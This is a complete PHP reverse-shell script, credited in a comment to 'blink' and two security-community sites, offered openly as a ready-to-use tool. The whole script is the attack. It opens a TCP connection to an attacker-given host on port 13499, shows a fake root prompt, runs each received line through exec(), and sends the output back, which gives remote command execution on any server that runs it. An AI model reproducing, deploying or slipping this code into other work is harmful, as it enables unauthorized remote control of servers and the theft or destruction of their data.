[PHP] Mini Reverse Shell

<?php
 
/**
 *	blink's mini reverse PHP shell.
 *	if you don't know how to use it
 *	then don't.
 *	EnigmaGroup.org
 * 	DUSecurity.com
 */
 
$host = $argv[1]; $port = 13499; $loc = @$_SERVER['SERVER_ADDR']; if(!$loc){ $loc="DUSec"; }
	$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $sCon = socket_connect($sock, $host, $port);
	if(!$sCon){
			die("Can't Connect!");
		}
	while($sCon)
	{
		$sys = array();	$shell = "\n\nr00t@$loc~# ";
			$sendStr = socket_send($sock, $shell, strlen($shell), 0);
				$ret = socket_read($sock, 10000);
					$ret = str_replace("\n","",$ret); $ret = str_replace("\r","",$ret);
							exec($ret, &$sys);	for($i=0; $i <= count($sys); $i++){	socket_send($sock, $sys[$i]."\n", strlen($sys[$i]."\n"), 0); }
							if(!$sCon){ die(); }
	}
?>